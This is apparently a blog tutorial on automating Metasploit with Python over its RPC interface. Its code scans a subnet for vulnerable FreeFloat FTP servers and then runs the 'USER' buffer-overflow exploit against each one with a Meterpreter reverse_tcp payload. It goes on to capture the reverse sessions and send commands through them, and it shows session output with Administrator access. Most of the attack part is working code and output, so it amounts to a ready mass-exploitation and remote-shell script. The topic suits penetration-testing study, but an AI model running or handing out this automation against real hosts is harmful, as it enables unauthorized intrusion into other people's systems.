Metasploit automatization using Python

This article describes, based on example, approaches to automate metasploit attacks using Python. As known metasploit is written in Ruby and doesn’t support scripts written in python, however metasploit has RPC (Remote Procedure Call) interface through which it is possible to run jobs. On the internet i found two libraries written in Python to interact with metasploit RPC:

On the internet there are many tutorials how to interact with established sessions and execute exploits, however i was unable to find scanners execution examples, and how to receive output from them. One of the approaches is described below.

Installation

Let’s install the library:

 root@kali:~# git clone https://github.com/allfro/pymetasploit 

At the moment of writing this article msfrpc connection wouldn’t work without this commit

+        property_attributes = ["advanced", "evasion", "options", "required",
+                               "runoptions"]
         for k in self._info:
-            setattr(self, k, self._info.get(k))
+            if k not in property_attributes:
+                # don't try to set property attributes
+                setattr(self, k, self._info.get(k))
         self._moptions = rpc.call(MsfRpcMethod.ModuleOptions, mtype, mname)
         self._roptions = []
         self._aoptions = []
root@kali:~# cd pymetasploit
root@kali:~/pymetasploit# python setup.py install

To start metasploit RPC listener:

root@kali:~# msfrpcd -h

Usage: msfrpcd <options>

OPTIONS:

    -P <opt>  Specify the password to access msfrpcd
    -S        Disable SSL on the RPC socket
    -U <opt>  Specify the username to access msfrpcd
    -a <opt>  Bind to this IP address
    -f        Run the daemon in the foreground
    -h        Help banner
    -n        Disable database
    -p <opt>  Bind to this port instead of 55553
    -t <opt>  Token Timeout (default 300 seconds
    -u <opt>  URI for Web server

root@kali:~# msfrpcd -P password -n -f -a 127.0.0.1
[*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg...
[*] MSGRPC ready at 2018-03-28 14:34:10 +0300.

Now metasploit RPC listens on localhost:55553

Objective definition

Imagine that we have 192.168.0.0/24 subnet containing several ftp servers, our objective is verify if any of them is vulnerable to Freefloat FTP Server – ‘USER’ Remote Buffer Overflow. In case of locating such server exploit it and gain reverse shell.

Let’s import necessary classes:

from metasploit.msfrpc import MsfRpcClient
from metasploit.msfconsole import MsfRpcConsole

It is sufficient to import only MsfRpcClient to interact with RPC, but to receive output from scanning modules it’s needed to interact with msfconsole, consequently also importing MsfRpcConsole

To connect to RPC listener let’s call:

client = MsfRpcClient('password')

Let’s connect to MsfRpcConsole. By default console outputs to standard output and all messages are displayed on screen, to catch the output and use it later MsfRpcConsole class uses callback function which is sent through cb= parameter. Thus every time console receives data to display our read_console function is going to be called.

 console = MsfRpcConsole(client, cb=read_console) 

Data is received in this format:

In [6]: console.console.read()
Out[6]: {'busy': False, 'data': '', 'prompt': 'msf > '}

Let’s define read_console function, and to access received data from main code let’s define two global variables:

global_console_status – to track module execution status
global_positive_out – to accumulate useful console data

The read_console function will assign to global_console_status the value of key ‘busy’ and verify if values of key ‘data’ contain [+] symbols. If yes this string appends to global_positive_out list:

global global_positive_out
global_positive_out = list()
global global_console_status
global_console_status = False

def read_console(console_data):
    global global_console_status
    global_console_status = console_data['busy']
    print global_console_status
    if '[+]' in console_data['data']:
	sigdata = console_data['data'].rstrip().split('\n')
	for line in sigdata:
	    if '[+]' in line:
		global_positive_out.append(line)
    print console_data['data']

Executing module through msfconsole

Now let’s set necessary options to execute ftp_version auxiliary module.

console.execute('use auxiliary/scanner/ftp/ftp_version')
console.execute('set RHOSTS 192.168.0.0/24')
console.execute('set THREADS 20')
console.execute('run')
time.sleep(5)

To verify if console is busy let’s check every 5 seconds if the value of global_console_status is true:

while global_console_status:
    time.sleep(5)

After execution completion let’s extract IP addresses from results and verify if there are any hosts susceptible to defined vulnerability:

targets = list()
for line in global_positive_out:
    if 'FreeFloat' in line:
    	ip = re.findall(r'[0-9]+(?:\.[0-9]+){3}', line)[0]
	targets.append(ip)

Executing module through msfrpc as a job

To exploit found vulnerable hosts let’s create an exploit object. To explore which options does it have it is possible to use exploit.options and exploit.required. Let’s set LPORT, LHOST, EXITFUNC:

In [4]: exploit.required
Out[4]: ['RHOST', 'SSLVersion', 'ConnectTimeout', 'FTPTimeout', 'RPORT']

In [5]: exploit.options
Out[5]: 
['FTPDEBUG',
 'ContextInformationFile',
 'WORKSPACE',
 'FTPPASS',
 'FTPUSER',
 'CHOST',
 'RHOST',
 'Proxies',
 'DisablePayloadHandler',
 'TCP::send_delay',
 'SSLVersion',
 'ConnectTimeout',
 'CPORT',
 'SSLVerifyMode',
 'FTPTimeout',
 'VERBOSE',
 'SSLCipher',
 'SSL',
 'WfsDelay',
 'TCP::max_send_size',
 'EnableContextEncoding',
 'RPORT']
exploit = client.modules.use('exploit', 'windows/ftp/freefloatftp_user')
pl = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
pl['LPORT'] = 443
pl['LHOST'] = localhost
pl['EXITFUNC'] = 'thread'

To run the exploit execute() method is called passing payload as an argument:

for target in targets:
    exploit['RHOST'] = target
    ftpsession = exploit.execute(payload=pl)
    time.sleep(5)

If execution is successful job_id key will contain a number otherwise job_id will be None.

{'job_id': 1, 'uuid': 'uv0ontph'}

After session is established client.sessions.list will contain session number and other options related to the session:

{1: 
{'info': 'SEMYON-FE434C23\\Administrator @ SEMYON-FE434C23',
'username': 'root',
'session_port': 21,
'via_payload': 'payload/windows/meterpreter/reverse_tcp',
'uuid': 'azxxoup4',
'tunnel_local': '192.168.0.92:443',
'via_exploit': 'exploit/windows/ftp/freefloatftp_user',
'arch': 'x86',
'exploit_uuid': 'uv0ontph',
'tunnel_peer': '192.168.0.90:4418',
'platform': 'windows', 'workspace': 'false',
'routes': '',
'target_host': '192.168.0.90',
'type': 'meterpreter',
'session_host': '192.168.0.90',
'desc': 'Meterpreter'}
}

In given example, meterpreter reverse_tcp staged was set as exploit’s payload, to understand, if we got reverse tcp connection, we need to check if client.sessions.list was changed, and if job’s uuid matches exploit_uuid from new session. To do that let’s define two new functions. The first one for finding new sessions, which will be comparing during given time old sessions list with current one. The second one for defining session id using uuid.

def get_session(sessions_list, exploit_job):
    if not sessions_list:
        return False
    for session in sessions_list:
        if sessions_list[session]['exploit_uuid'] == exploit_job['uuid']:
            return session
    return False

def compare_sessions(old_sessions_list, seconds = 120):
    flag = False
    while not flag:
        if seconds == 0:
            return False
        if client.sessions.list != old_sessions_list:
            flag = True
        time.sleep(1)
        seconds -= 1
    current_sessions = client.sessions.list
    all(map(current_sessions.pop, old_sessions_list))
    return current_sessions

Let’s keep current sessions in old_sessions and run the exploit:

old_sessions = client.sessions.list
ftpsession = exploit.execute(payload=pl)
time.sleep(5)
ftpsessioncode = get_session(client.sessions.list, ftpsession)
if not ftpsessioncode:
    sys.exit()

It is possible to interact with received session calling client.sessions.session() providing session id as an argument, shell.read() and shell.write() methods allows to send and receive data to meterpreter session.

shell = client.sessions.session(ftpsessioncode)
shell.read()
shell.write('sysinfo')

Described functionality provides ability to execute any modules available in metaslpoit and receive an output in format convenient for later processing.

Full code can be obtained on github

Add a Comment

Your email address will not be published. Required fields are marked *